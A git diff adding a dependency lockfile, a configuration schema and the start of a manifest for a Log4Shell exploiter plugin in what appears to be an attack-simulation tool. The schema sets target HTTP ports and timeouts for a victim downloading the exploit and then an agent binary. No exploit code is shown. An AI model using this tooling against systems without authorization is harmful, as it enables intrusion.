a/monkey/agent_plugins/exploiters/log4shell/Pipfile.lock b/monkey/agent_plugins/exploiters/log4shell/Pipfile.lock new file mode 100644 index 00000000000..b48191c5471 --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/Pipfile.lock @@ -0,0 +1,445 @@ +{ + "_meta": { + "hash": { + "sha256": "309e02011c3cba97cc8687eda1430a43807c2456f01391e796d6122123595ff8" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.11" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "attrs": { + "hashes": [ + "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04", + "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015" + ], + "markers": "python_version >= '3.7'", + "version": "==23.1.0" + }, + "automat": { + "hashes": [ + "sha256:c3164f8742b9dc440f3682482d32aaff7bb53f71740dd018533f9de286b64180", + "sha256:e56beb84edad19dcc11d30e8d9b895f75deeb5ef5e96b84a467066b3b84bb04e" + ], + "version": "==22.10.0" + }, + "certifi": { + "hashes": [ + "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7", + "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716" + ], + "markers": "python_version >= '3.6'", + "version": "==2023.5.7" + }, + "cffi": { + "hashes": [ + "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5", + "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef", + "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104", + "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426", + "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405", + "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375", + "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a", + "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e", + "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc", + "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf", + "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185", + "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497", + "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3", + "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35", + "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c", + "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83", + "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21", + "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca", + "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984", + "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac", + "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd", + "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee", + "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a", + "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2", + "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192", + "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7", + "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585", + "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f", + "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e", + "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27", + "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b", + "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e", + "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e", + "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d", + "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c", + "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415", + "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82", + "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02", + "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314", + "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325", + "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c", + "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3", + "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914", + "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045", + "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d", + "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9", + "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5", + "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2", + "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c", + "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3", + "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2", + "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8", + "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d", + "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d", + "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9", + "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162", + "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76", + "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4", + "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e", + "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9", + "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6", + "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b", + "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01", + "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0" + ], + "version": "==1.15.1" + }, + "charset-normalizer": { + "hashes": [ + "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6", + "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1", + "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e", + "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373", + "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62", + "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230", + "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be", + "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c", + "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0", + "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448", + "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f", + "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649", + "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d", + "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0", + "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706", + "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a", + "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59", + "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23", + "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5", + "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb", + "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e", + "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e", + "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c", + "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28", + "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d", + "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41", + "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974", + "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce", + "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f", + "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1", + "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d", + "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8", + "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017", + "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31", + "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7", + "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8", + "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e", + "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14", + "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd", + "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d", + "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795", + "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b", + "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b", + "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b", + "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203", + "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f", + "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19", + "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1", + "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a", + "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac", + "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9", + "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0", + "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137", + "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f", + "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6", + "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5", + "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909", + "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f", + "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0", + "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324", + "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755", + "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb", + "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854", + "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c", + "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60", + "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84", + "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0", + "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b", + "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1", + "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531", + "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1", + "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11", + "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326", + "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df", + "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab" + ], + "markers": "python_full_version >= '3.7.0'", + "version": "==3.1.0" + }, + "constantly": { + "hashes": [ + "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", + "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d" + ], + "version": "==15.1.0" + }, + "cryptography": { + "hashes": [ + "sha256:059e348f9a3c1950937e1b5d7ba1f8e968508ab181e75fc32b879452f08356db", + "sha256:1a5472d40c8f8e91ff7a3d8ac6dfa363d8e3138b961529c996f3e2df0c7a411a", + "sha256:1a8e6c2de6fbbcc5e14fd27fb24414507cb3333198ea9ab1258d916f00bc3039", + "sha256:1fee5aacc7367487b4e22484d3c7e547992ed726d14864ee33c0176ae43b0d7c", + "sha256:5d092fdfedaec4cbbffbf98cddc915ba145313a6fdaab83c6e67f4e6c218e6f3", + "sha256:5f0ff6e18d13a3de56f609dd1fd11470918f770c6bd5d00d632076c727d35485", + "sha256:7bfc55a5eae8b86a287747053140ba221afc65eb06207bedf6e019b8934b477c", + "sha256:7fa01527046ca5facdf973eef2535a27fec4cb651e4daec4d043ef63f6ecd4ca", + "sha256:8dde71c4169ec5ccc1087bb7521d54251c016f126f922ab2dfe6649170a3b8c5", + "sha256:8f4ab7021127a9b4323537300a2acfb450124b2def3756f64dc3a3d2160ee4b5", + "sha256:948224d76c4b6457349d47c0c98657557f429b4e93057cf5a2f71d603e2fc3a3", + "sha256:9a6c7a3c87d595608a39980ebaa04d5a37f94024c9f24eb7d10262b92f739ddb", + "sha256:b46e37db3cc267b4dea1f56da7346c9727e1209aa98487179ee8ebed09d21e43", + "sha256:b4ceb5324b998ce2003bc17d519080b4ec8d5b7b70794cbd2836101406a9be31", + "sha256:cb33ccf15e89f7ed89b235cff9d49e2e62c6c981a6061c9c8bb47ed7951190bc", + "sha256:d198820aba55660b4d74f7b5fd1f17db3aa5eb3e6893b0a41b75e84e4f9e0e4b", + "sha256:d34579085401d3f49762d2f7d6634d6b6c2ae1242202e860f4d26b046e3a1006", + "sha256:eb8163f5e549a22888c18b0d53d6bb62a20510060a22fd5a995ec8a05268df8a", + "sha256:f73bff05db2a3e5974a6fd248af2566134d8981fd7ab012e5dd4ddb1d9a70699" + ], + "markers": "python_version >= '3.7'", + "version": "==41.0.1" + }, + "egg-timer": { + "hashes": [ + "sha256:8e4155914ceb82c8b7248a0fdcdd0268fa841db5fd8666629dabed7fb937ab76", + "sha256:e476d57cca2ae85d502279ca0b8e84d1b47e241a56b888e18c944d780baf48db" + ], + "index": "pypi", + "version": "==1.2.0" + }, + "hyperlink": { + "hashes": [ + "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", + "sha256:e6b14c37ecb73e89c77d78cdb4c2cc8f3fb59a885c5b3f819ff4ed80f25af1b4" + ], + "version": "==21.0.0" + }, + "idna": { + "hashes": [ + "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4", + "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2" + ], + "markers": "python_version >= '3.5'", + "version": "==3.4" + }, + "incremental": { + "hashes": [ + "sha256:912feeb5e0f7e0188e6f42241d2f450002e11bbc0937c65865045854c24c0bd0", + "sha256:b864a1f30885ee72c5ac2835a761b8fe8aa9c28b9395cacf27286602688d3e51" + ], + "version": "==22.10.0" + }, + "ldaptor": { + "hashes": [ + "sha256:70521851c74b67b340619fc58bb7105619714e40287309572edb6e86f6d75bd0", + "sha256:8c49eb19375d4aab3e5b835860614e0cb17e56bb5a20e1874808fa5bec67a358" + ], + "index": "pypi", + "version": "==21.2.0" + }, + "passlib": { + "hashes": [ + "sha256:aa6bca462b8d8bda89c70b382f0c298a20b5560af6cbfa2dce410c0a2fb669f1", + "sha256:defd50f72b65c5402ab2c573830a6978e5f202ad0d984793c8dde2c4152ebe04" + ], + "version": "==1.7.4" + }, + "pyasn1": { + "hashes": [ + "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57", + "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==0.5.0" + }, + "pyasn1-modules": { + "hashes": [ + "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c", + "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==0.3.0" + }, + "pycparser": { + "hashes": [ + "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9", + "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206" + ], + "version": "==2.21" + }, + "pyopenssl": { + "hashes": [ + "sha256:24f0dc5227396b3e831f4c7f602b950a5e9833d292c8e4a2e06b709292806ae2", + "sha256:276f931f55a452e7dea69c7173e984eb2a4407ce413c918aa34b55f82f9b8bac" + ], + "version": "==23.2.0" + }, + "pyparsing": { + "hashes": [ + "sha256:d554a96d1a7d3ddaf7183104485bc19fd80543ad6ac5bdb6426719d766fb06c1", + "sha256:edb662d6fe322d6e990b1594b5feaeadf806803359e3d4d42f11e295e588f0ea" + ], + "markers": "python_full_version >= '3.6.8'", + "version": "==3.1.0" + }, + "requests": { + "hashes": [ + "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f", + "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1" + ], + "index": "pypi", + "version": "==2.31.0" + }, + "service-identity": { + "hashes": [ + "sha256:87415a691d52fcad954a500cb81f424d0273f8e7e3ee7d766128f4575080f383", + "sha256:ecb33cd96307755041e978ab14f8b14e13b40f1fbd525a4dc78f46d2b986431d" + ], + "version": "==23.1.0" + }, + "setuptools": { + "hashes": [ + "sha256:11e52c67415a381d10d6b462ced9cfb97066179f0e871399e006c4ab101fc85f", + "sha256:baf1fdb41c6da4cd2eae722e135500da913332ab3f2f5c7d33af9b492acb5235" + ], + "markers": "python_version >= '3.7'", + "version": "==68.0.0" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", + "version": "==1.16.0" + }, + "twisted": { + "extras": [ + "tls" + ], + "hashes": [ + "sha256:32acbd40a94f5f46e7b42c109bfae2b302250945561783a8b7a059048f2d4d31", + "sha256:86c55f712cc5ab6f6d64e02503352464f0400f66d4f079096d744080afcccbd0" + ], + "markers": "python_full_version >= '3.7.1'", + "version": "==22.10.0" + }, + "twisted-iocpsupport": { + "hashes": [ + "sha256:1bdccbb22199fc69fd7744d6d2dfd22d073c028c8611d994b41d2d2ad0e0f40d", + "sha256:1dbfac706972bf9ec5ce1ddbc735d2ebba406ad363345df8751ffd5252aa1618", + "sha256:1ddfc5fa22ec6f913464b736b3f46e642237f17ac41be47eed6fa9bd52f5d0e0", + "sha256:1ea2c3fbdb739c95cc8b3355305cd593d2c9ec56d709207aa1a05d4d98671e85", + "sha256:3f39c41c0213a81a9ce0961e30d0d7650f371ad80f8d261007d15a2deb6d5be3", + "sha256:4f249d0baac836bb431d6fa0178be063a310136bc489465a831e3abd2d7acafd", + "sha256:67bec1716eb8f466ef366bbf262e1467ecc9e20940111207663ac24049785bad", + "sha256:6f8c433faaad5d53d30d1da6968d5a3730df415e2efb6864847267a9b51290cd", + "sha256:7efcdfafb377f32db90f42bd5fc5bb32cd1e3637ee936cdaf3aff4f4786ab3bf", + "sha256:8faceae553cfadc42ad791b1790e7cdecb7751102608c405217f6a26e877e0c5", + "sha256:98a6f16ab215f8c1446e9fc60aaed0ab7c746d566aa2f3492a23cea334e6bebb", + "sha256:a379ef56a576c8090889f74441bc3822ca31ac82253cc61e8d50631bcb0c26d0", + "sha256:aaca8f30c3b7c80d27a33fe9fe0d0bac42b1b012ddc60f677175c30e1becc1f3", + "sha256:afb00801fdfbaccf0d0173a722626500023d4a19719ac9f129d1347a32e2fc66", + "sha256:db11c80054b52dbdea44d63d5474a44c9a6531882f0e2960268b15123088641a", + "sha256:dff43136c33665c2d117a73706aef6f7d6433e5c4560332a118fe066b16b8695" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.3" + }, + "typing-extensions": { + "hashes": [ + "sha256:88a4153d8505aabbb4e13aacb7c486c2b4a33ca3b3f807914a9b4c844c471c26", + "sha256:d91d5919357fe7f681a9f2b5b4cb2a5f1ef0a1e9f59c4d8ff0d3491e05c0ffd5" + ], + "markers": "python_version >= '3.7'", + "version": "==4.6.3" + }, + "urllib3": { + "hashes": [ + "sha256:48e7fafa40319d358848e1bc6809b208340fafe2096f1725d05d67443d0483d1", + "sha256:bee28b5e56addb8226c96f7f13ac28cb4c301dd5ea8a6ca179c0b9835e032825" + ], + "markers": "python_version >= '3.7'", + "version": "==2.0.3" + }, + "zope.interface": { + "hashes": [ + "sha256:042f2381118b093714081fd82c98e3b189b68db38ee7d35b63c327c470ef8373", + "sha256:0ec9653825f837fbddc4e4b603d90269b501486c11800d7c761eee7ce46d1bbb", + "sha256:12175ca6b4db7621aedd7c30aa7cfa0a2d65ea3a0105393e05482d7a2d367446", + "sha256:1592f68ae11e557b9ff2bc96ac8fc30b187e77c45a3c9cd876e3368c53dc5ba8", + "sha256:23ac41d52fd15dd8be77e3257bc51bbb82469cf7f5e9a30b75e903e21439d16c", + "sha256:424d23b97fa1542d7be882eae0c0fc3d6827784105264a8169a26ce16db260d8", + "sha256:4407b1435572e3e1610797c9203ad2753666c62883b921318c5403fb7139dec2", + "sha256:48f4d38cf4b462e75fac78b6f11ad47b06b1c568eb59896db5b6ec1094eb467f", + "sha256:4c3d7dfd897a588ec27e391edbe3dd320a03684457470415870254e714126b1f", + "sha256:5171eb073474a5038321409a630904fd61f12dd1856dd7e9d19cd6fe092cbbc5", + "sha256:5a158846d0fca0a908c1afb281ddba88744d403f2550dc34405c3691769cdd85", + "sha256:6ee934f023f875ec2cfd2b05a937bd817efcc6c4c3f55c5778cbf78e58362ddc", + "sha256:790c1d9d8f9c92819c31ea660cd43c3d5451df1df61e2e814a6f99cebb292788", + "sha256:809fe3bf1a91393abc7e92d607976bbb8586512913a79f2bf7d7ec15bd8ea518", + "sha256:87b690bbee9876163210fd3f500ee59f5803e4a6607d1b1238833b8885ebd410", + "sha256:89086c9d3490a0f265a3c4b794037a84541ff5ffa28bb9c24cc9f66566968464", + "sha256:99856d6c98a326abbcc2363827e16bd6044f70f2ef42f453c0bd5440c4ce24e5", + "sha256:aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d", + "sha256:af169ba897692e9cd984a81cb0f02e46dacdc07d6cf9fd5c91e81f8efaf93d52", + "sha256:b39b8711578dcfd45fc0140993403b8a81e879ec25d53189f3faa1f006087dca", + "sha256:b3f543ae9d3408549a9900720f18c0194ac0fe810cecda2a584fd4dca2eb3bb8", + "sha256:d0583b75f2e70ec93f100931660328965bb9ff65ae54695fb3fa0a1255daa6f2", + "sha256:dfbbbf0809a3606046a41f8561c3eada9db811be94138f42d9135a5c47e75f6f", + "sha256:e538f2d4a6ffb6edfb303ce70ae7e88629ac6e5581870e66c306d9ad7b564a58", + "sha256:eba51599370c87088d8882ab74f637de0c4f04a6d08a312dce49368ba9ed5c2a", + "sha256:ee4b43f35f5dc15e1fec55ccb53c130adb1d11e8ad8263d68b1284b66a04190d", + "sha256:f2363e5fd81afb650085c6686f2ee3706975c54f331b426800b53531191fdf28", + "sha256:f299c020c6679cb389814a3b81200fe55d428012c5e76da7e722491f5d205990", + "sha256:f72f23bab1848edb7472309e9898603141644faec9fd57a823ea6b4d1c4c8995", + "sha256:fa90bac61c9dc3e1a563e5babb3fd2c0c1c80567e815442ddbe561eadc803b30" + ], + "markers": "python_version >= '3.7'", + "version": "==6.0" + } + }, + "develop": { + "ldap3": { + "hashes": [ + "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", + "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", + "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", + "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", + "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" + ], + "index": "pypi", + "version": "==2.9.1" + }, + "pyasn1": { + "hashes": [ + "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57", + "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==0.5.0" + } + } +} diff --git a/monkey/agent_plugins/exploiters/log4shell/config-schema.json b/monkey/agent_plugins/exploiters/log4shell/config-schema.json new file mode 100644 index 00000000000..baed5394ea0 --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/config-schema.json @@ -0,0 +1,36 @@ +{ + "properties": { + "target_ports": { + "title": "Target ports", + "description": "A list of HTTP ports that the Log4Shell exploiter will try to exploit.", + "type": "array", + "uniqueItems": true, + "items": { + "type": "number", + "minimum": 0, + "maximum": 65535 + }, + "default": [8000, 8080, 8983, 9600] + }, + "try_all_discovered_http_ports": { + "title": "Try all discovered HTTP ports", + "description": "Attempt to exploit Log4Shell on all HTTP ports discovered from network scanning.", + "type": "boolean", + "default": false + }, + "exploit_download_timeout": { + "title": "Exploit download timeout", + "description": "The maximum time (in seconds) to wait for the victim to download the exploit.", + "type": "number", + "minimum": 0.0, + "default": 5.0 + }, + "agent_binary_download_timeout": { + "title": "Agent binary download timeout", + "description": "The maximum time (in seconds) to wait for a successfully exploited server to download the agent binary.", + "type": "number", + "minimum": 0.0, + "default": 15.0 + } + } +} diff --git a/monkey/agent_plugins/exploiters/log4shell/manifest.yml b/monkey/agent_plugins/exploiters/log4shell/manifest.yml new file mode 100644 index 00000000000..16b29ae33da --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/manifest.yml @@ -0,0 +1,23 @@ +name: Log4Shell +plugin_type: Exploiter 